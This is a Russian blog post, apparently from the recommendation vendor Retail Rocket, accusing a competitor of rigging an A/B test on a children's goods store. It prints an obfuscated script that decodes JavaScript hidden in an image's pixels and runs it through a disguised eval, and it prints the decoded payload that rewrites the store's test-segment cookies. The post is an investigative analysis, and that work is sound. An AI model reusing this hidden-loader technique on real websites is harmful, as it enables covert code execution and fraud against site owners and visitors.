...

пятница, 2 июня 2017 г.

Атака на АБ-тест: рецепт 'R'+t(101)+'es46'

АБ-тестирование — один из самых сильных и полезных инструментов управления продуктом, который позволяет оценить эффективность тех или иных решений на экономические показатели в интернет-бизнесе. За пять лет работы мы провели огромное количество АБ-тестов, и поэтому отлично знаем, насколько сложно провести эксперименты правильно и какие ошибки повторяются постоянно.

Несколько месяцев назад один из наших конкурентов начал делать странное – предлагать нашим клиентам сравнение своей системы рекомендаций с Retail Rocket через АБ-тесты в формате «пари» с обязательством заплатить 100 000 рублей в случае проигрыша.

Подобные истории для нас не редкость — за время существования компании нашу систему сравнивали практически со всеми существующими рекомендательными системами в России и за рубежом, и мы всегда показывали отличные результаты (ни в одном тесте мы не проиграли по эффективности).

Первый тест с Rees не заставил себя ждать, но в ходе его проведения мы столкнулись с довольно странными результатами, которые вылились в серьезное исследование. То, что мы обнаружили в итоге, удивило нас так сильно, что мы хотим поделиться деталями этого исследования и вынести его результаты на суд IT-сообщества и индустрии электронной коммерции в России.


АБ-тестирование систем рекомендаций в интернет-магазине «Дочки&Сыночки»


В интернет-магазине «Дочки&Сыночки» в течение нескольких месяцев шел тест трех рекомендательных систем: Retail Rocket, Rees и внутренней системы компании.

Механика проведения АБ-тестирования: вся аудитория сайта случайным образом делится на три равных части, и каждая часть аудитории видит свою версию сайта. Меняются только блоки персональных рекомендаций — каждому сегменту показываются блоки, управляемые одной из рекомендательных систем:

В рамках теста измеряется конверсия каждого сегмента трафика, сравнивается с другими и по результатам принимается решение о том, какая система работает эффективнее.

Аудитория делится на клиенте с помощью JavaScript-кода, все пользователи получают идентификатор одного из трех сегментов теста, который сохраняется в куке и затем передается в Google Analytics при каждом значимом действии на сайте.

Результаты теста на момент написания статьи из Google Analytics — конверсия по сегментам

Сегмент А — рекомендательная система Дочки Сыночки
Сегмент В — рекомендательная система Rees
Сегмент С — рекомендательная система Retail Rocket

Изменения конверсии относительно показателей внутренней рекомендательной системы «Дочки&Сыночки»

По этим данным сегмент С (Retail Rocket) проигрывает, сегмент B (Rees) выигрывает. Отдельно обратите внимание 27 мая, в этот день Retail Rocket показывает лучшие показатели — к этой детали мы вернемся позже.

В течение теста инженерная команда Retail Rocket провела множество внутренних тестов, выявила несколько ошибок на сайте, исправила немало проблем с интеграцией и провела набор внутренних тестов различных алгоритмов и их вариаций. Ощутимых изменений все эти действия не принесли.

Визуальная оценка качества рекомендаций


У нас в Retail Rocket есть несколько способов оценки эффективности и качества рекомендаций. Самый первый из них – так называемая “экспертная оценка” (субъективная визуальная оценка “адекватности”).

Посмотрим на примеры рекомендаций, сформированные системами Retail Rocket и Rees:

К наполнителю для кошачьего туалета, наша система рекомендует переноску для животных и разные виды корма для кошек, а система Rees — детское питание, чай и ректальную трубку для детей.

Таких примеров по довольно посещаемым товарам (по которым быстро копится статистика) очень много (вот один из отчетов по визуальной оценке качества), и несмотря на то, что экспертная оценка не влияет напрямую на цифры, это простой и быстрый способ, который служит определенным показателем качества работы рекомендательных систем.

Косвенная оценка качества рекомендаций


Нам показалось странным, что при такой визуальной составляющей, цифры показывают результат не в нашу пользу, поэтому мы потратили много ресурсов на различные внутренние исследования причин.

В первую очередь мы решили исследовать аудиторию, которая взаимодействует с блоками товарных рекомендаций. При клике товары в рекомендательных блоках Rees, к URL добавляется параметр:

Мы добавили похожий параметр в URL товаров из блоков рекомендаций Retail Rocket:

И построили в GA сегменты кликавших в рекомендательные блоки пользователей:

Первой гипотезой стало то, что наша система хуже угадывает предпочтения пользователей, рекомендует менее релевантные товары.

Если это так, то наши блоки должны получать меньше кликов, чем блоки рекомендаций Rees, что опровергается данными Google Analytics — мы получаем в 2,81 раз больше кликов по виджетам:

Вторая гипотеза, которую мы рассматривали: визуально хорошие рекомендации отвлекают людей от покупки и снижают конверсию. Т.е. притягивают их внимание, но отвлекают от покупок и не способствуют росту продаж.

В этом случае кликнувшие в блоки рекомендаций Retail Rocket будут конвертироваться хуже, чем кликнувшие в блоки Rees. Но по данным Google Analytics это не так, конверсия кликнувших в блоки Retail Rocket значительно выше (на 37% по данным за 4 дня):

Таким образом, Retail Rocket значительно чаще рекомендует релевантные пользователю товары, пользователи чаще кликают на эти товары и рекомендации положительно влияют на продажи.

Если проблем с теми, кто взаимодействует с рекомендациями нет, и с визуальной стороны рекомендации выглядят релевантными, остается посмотреть на тех, кто не кликает по рекомендациям.

Исследование аудитории интернет-магазина


Начав исследовать этот сегмент аудитории, мы заметили два интересных факта:
  1. В сегменте Rees на несколько процентов больше пользователей, чем в других сегментах, хотя настройки АБ-теста предполагают равномерное распределение аудитории между рекомендательными системами.
  2. В сегменте Rees аудитория более лояльная, в ней гораздо больше посетителей, которые приходят на сайт повторно.

Чтобы проверить корректность работы разделения трафика интернет-магазина на сегменты, мы самостоятельно протестировали сегментатор с помощью кода, который использовал сайт: параллельно с основным делением, запустили сегментирование той же аудитории — погрешность получилась минимальной:

  • Сегмент 1: 63215 пользователей
  • Сегмент 2: 63500 пользователей
  • Сегмент 3: 63686 пользователей

Это означает, что сегментатор работает правильно и погрешности в несколько процентов быть не может, т.е. распределение трафика в рамках АБ-теста «Дочки&Сыночки» содержит аномалию.

Наши разработчики детально исследовали код сайта на предмет JS ошибок и багов, которые могли бы влиять на сегментацию, и не нашли ничего, что могло бы вызвать аномалию.

Логичным предположением стала мысль, что пользователи каким-то образом могут перемещаться между сегментами. В нашей практике встречались случаи, когда пользователи меняли сегмент внутри теста, например из-за неправильно заданного времени жизни куки (в одном из магазинов кука, в которую сохраняли идентификатор сегмента АБ-теста, жила только две недели, и если пользователь возвращался по истечении этого времени, ему присваивалось случайно значение — т.е. пользователь мог попасть в другой сегмент теста). Чтобы избежать подобных ситуаций, у нас разработан чек-лист, в котором есть пункт о необходимости убедиться, что пользователь не меняет сегмент в ходе теста.

Для отслеживания подобных ситуаций в Google Analytics есть инструмент «Последовательности», который позволяет выделить пользователей, которые сначала были в одном сегменте, а затем перешли в другой. Для анализа мы построили несколько таких сегментов в Google Analytics:

И в результате получили такие цифры:

По этим данным четко видно, что в сегмент Rees из остальных перемещается аномально много пользователей. И это точно не баг, иначе пользователи перемещались бы между всеми сегментами равномерно.

Второй вывод: эти пользователи делают много заказов.

*Интернет-магазин подтвердил, что это настоящие заказы (почти все они имеют статус «выкуплено»)

По номерам заказов пользователей, перемещенных в сегмент Rees, мы исследовали наши внутренние логи сессий и выявили следующие паттерны:

  1. Почти все пользователи, перемещенные в сегмент Rees, имеют добавление товаров в корзину (т.е. это более лояльная/конверсионная аудитория);
  2. Перемещения пользователей распределяются по часам неравномерно, это указывает на то, что оно инициируется вручную;
  3. Перемещения пользователей в сегмент Rees происходит в те дни, когда Retail Rocket начинает побеждать в АБ тесте:

Перемещение пользователей в сегмент Rees (сверху часы, слева дни)

Перемещение пользователей в сегмент Retail Rocket (сверху часы, слева дни)

В таблице видно, что 25 и 26 мая перемещений почти нет, а 27 мая, когда система Retail Rocket начинает выходить в плюс — перемещения начинаются снова. И вновь перемещаются пользователи, которые добавляют товар в корзину и скоро сконвертируются в покупателей.

Исследование кода, работающего на сайте


Поскольку перемещение лояльных пользователей в семент Rees выглядело подозрительно, мы начали искать причину смены сегмента пользователей и изучать код. Мы тщательно исследовали, кто и как работает с куками, не мог ли кто-то случайно что-то сделать для появления подобных ошибок, и ничего подозрительного мы не нашли.

Оставалось два варианта: либо кука изменяется сервером магазина Дочки Сыночки и этого не видно на клиенте, либо динамическим кодом, который приходит с сервера по какому-то запросу.
Проверяя динамический код, мы искали в том числе функцию eval — специальную javascript функцию, которая может выполнять любой текст, к примеру присланный с сервера, как JavaScript код, что в недобросовестных руках позволяет скрыть функциональность кода, но при этом дает полный доступ ко всему окружению сайта.

В ходе проверки наткнулись на странный кусок кода в JS библиотеке Rees:


Кусок кода из JS библиотеки Rees
     key: "markDMP",
                    value: function(e) {
                        var t = function(e) {
                            return String.fromCharCode(e)
                        };
                        if (e)
                            for (var i in e)
                                if (e.hasOwnProperty(i))
                                    if (function(e) {
                                        return /\x61\x70\x69\x2E\x72\x65\x65\x73\x34\x36\x2E\x63\x6F\x6D/.test(e)
                                    }(e[i])) {
                                        var n = function() {
                                            var n = document.createElement("canvas")
                                              , o = void 0
                                              , s = t(67)
                                              , a = t(68)
                                              , u = l.default.get(s.toLowerCase() + "ity") || l.default.get(t(71) + "EO_" + a + "ELIVERY_" + s + "ITY_I" + a)
                                              , c = [s + "UR", s + "ITY", s + "ODE"];
                                            if (n && n.getContext && u && !1 === g.default.isDebug()) {
                                                if (/^a:/.test(u)) {
                                                    var h = r.unserialize(u);
                                                    if (!h || 464 === h[c.join("_")])
                                                        return "continue"
                                                } else if (3784 === u || 3577 === u)
                                                    return "continue";
                                                o = new Image,
                                                o.crossOrigin = "use-credentials",
                                                o.onload = function(e, r) {
                                                    r.width = this.naturalWidth,
                                                    r.height = this.naturalHeight;
                                                    var i = r.getContext("2d");
                                                    i.drawImage(this, 0, 0);
                                                    var n = i.getImageData(0, 0, this.naturalWidth, this.naturalHeight)
                                                      , o = n.data
                                                      , s = void 0
                                                      , a = void 0
                                                      , u = "";
                                                    for (s = 0,
                                                    a = o.length; s < a; s++)
                                                        if (!(s % 4 == 3 && s > 0)) {
                                                            if (0 === o[s])
                                                                break;
                                                            u += function(e) {
                                                                return String.fromCharCode(~-e)
                                                            }(o[s])
                                                        }
                                                    try {
                                                        window[t(101) + "val"](u)
                                                    } catch (e) {}
                                                }
                                                .bind(o, t, n),
                                                o.src = e[i]
                                            }
                                        }();
                                        if ("continue" === n)
                                            continue
                                    } else {
                                        var o = document.createElement("img");
                                        o.src = e[i],
                                        o.style.width = 0,
                                        o.style.height = 0,
                                        o.style.display = "none",
                                        o.style.position = "absolute",
                                        o.style.left = "-9999px",
                                        document.body.appendChild(o)
                                    }
                    }
                }

Весь код доступен по ссылке. Особенность этого куска кода — в нем явно пытаются скрыть его функциональность.

По коду можно сделать несколько выводов:

  • Этот фрагмент кода написан специально для магазина ДочкиСыночки, поскольку он скрыто использует куку под именем “city”, принадлежащую магазину (магазин хранит в ней идентификатор региона пользователя)
  • Код намеренно написан так, чтобы затруднить его чтение и понимание (вместо текста используются числовые идентификаторы букв)
  • Функциональность кода специально скрывается от внешних разработчиков — код не отрабатывает при открытой консоли браузера и для посетителей сайта из Москвы (интернет-магазин должен знать, что он интегрирует к себе на сайт, и какая строчка кода за что отвечает, а здесь — намеренное сокрытие)
  • Код предназначен для загрузки картинки с сервера Rees, раскодирования из этой картинки текста, и передаче текста на вход в наивно спрятанную функцию eval (window[t(101) + «val»](u))
  • Все это указывает на возможность скрыто выполнить любой код со стороны Rees

Мы предполагаем, что как только это информация будет опубликована, Rees удалит этот код, поэтому мы сохранили его с помощью двух внешних независимых сервисов: https://web.archive.org и http://ift.tt/WlpNRW

Его отформатированная версия доступна для исследования по ссылке.

Чтобы понять, что именно делает этот фрагмент, мы написали модуль, который эмулирует действия пользователя и логирует все запросы в сторону сервера Rees. 25 и 26 мая ничего не происходило (это также видно из таблицы с данными о почасовому перемещению пользователей в сторону Rees), а 27 мая, когда по данным Google Analytics система Retail Rocket вышла в плюс по АБ тесту, около 7 вечера по московскому времени вновь начались перемещения пользователей в сегмент Rees.

Перемещение пользователей в сегмент Rees (сверху часы, слева дни)

В это же время мы зафиксировали запросы в сторону сервера Rees на картинку в формате PNG (содержимое картинки можно посмотреть по ссылке). Просто так картинка не доступна (возвращается ошибка 404), но при передаче в заголовке запроса к картинке сессии пользователя Rees, картинка оказывается доступной для скачивания:

Если картинку передать на вход в код, который пытались закодировать/скрыть, для удобства мы вынесли его отдельно, получается вот такой JS, который изменяет значение куки, где хранится сегмент пользователя АБ теста:

document.cookie="rr-VisitorSegment_Rec=3:2; domain=.dochkisinochki.ru; path=/; expires=Mon, 25 Sep 2017 10:15:20 
+0000";document.cookie="DS_SM_rrSegmentRecommendedABC=B; domain=.dochkisinochki.ru; path=/

Этот код явно изменяет две куки, принадлежащих магазину, в которых хранится сегмент пользователя, на значение сегмента равного сегменту Rees.

Мы уверены, что Rees скроет все следы этой атаки, поэтому картинка так же сохранена запросом независимого стороннего сервиса.

Таким образом, код системы Rees перемещает в свой сегмент пользователей, которые добавили товар в корзину и вот-вот совершат заказ.

По данным, полученным с момента начала логирования перемещений пользователей (1–28 мая), построенным на основе изначально выданного пользователям сегмента (то есть из этих данных исключены все, кто впервые приходил на сайт до 1 мая), Retail Rocket достоверно побеждает в тесте, а Rees уменьшает продажи магазина:

Точное окно миграции лояльных пользователей интернет-магазина в сегмент Rees неизвестно, поэтому разница в эффективности значительно больше.

Кроме того, мы видим признаки других атак на тест в коде Rees, например, при первом посещении сайта их система осуществляет куки матчинг с несколькими RTB-сетями.

Код синхронизации:

Сохраненный запрос можно посмотреть по ссылке на web.archive.org

Запросы синхронизации:

Это как минимум позволяет конкурентам интернет-магазина получить доступ к этим пользователям, и как максимум — вести ретаргетинг на трафик из своего сегмента и уводить трафик из других сегментов теста к конкурентом, снижая конверсию.

Интересный факт, что эта атака Rees поддерживалась активной PR-кампанией в СМИ и социальных сетях:

Вместо заключения


За без малого 5 лет работы, мы впервые сталкиваемся с подобным поведением. С сожалением надо признать, что АБ тесты можно проводить только при абсолютной уверенности порядочности всех его участников.

Мы считаем такие методы конкуренции недобросовестными и недопустимыми, это наносит ущерб всему сообществу и подрывает доверие к сложившимся практикам работы. В данный момент мы ведем активную работу в правовом поле с целью наказать виновных и призываем сообщество поделиться опытом решения подобных ситуаций.

Комментарии (0)

    Let's block ads! (Why?)

    Комментариев нет:

    Отправить комментарий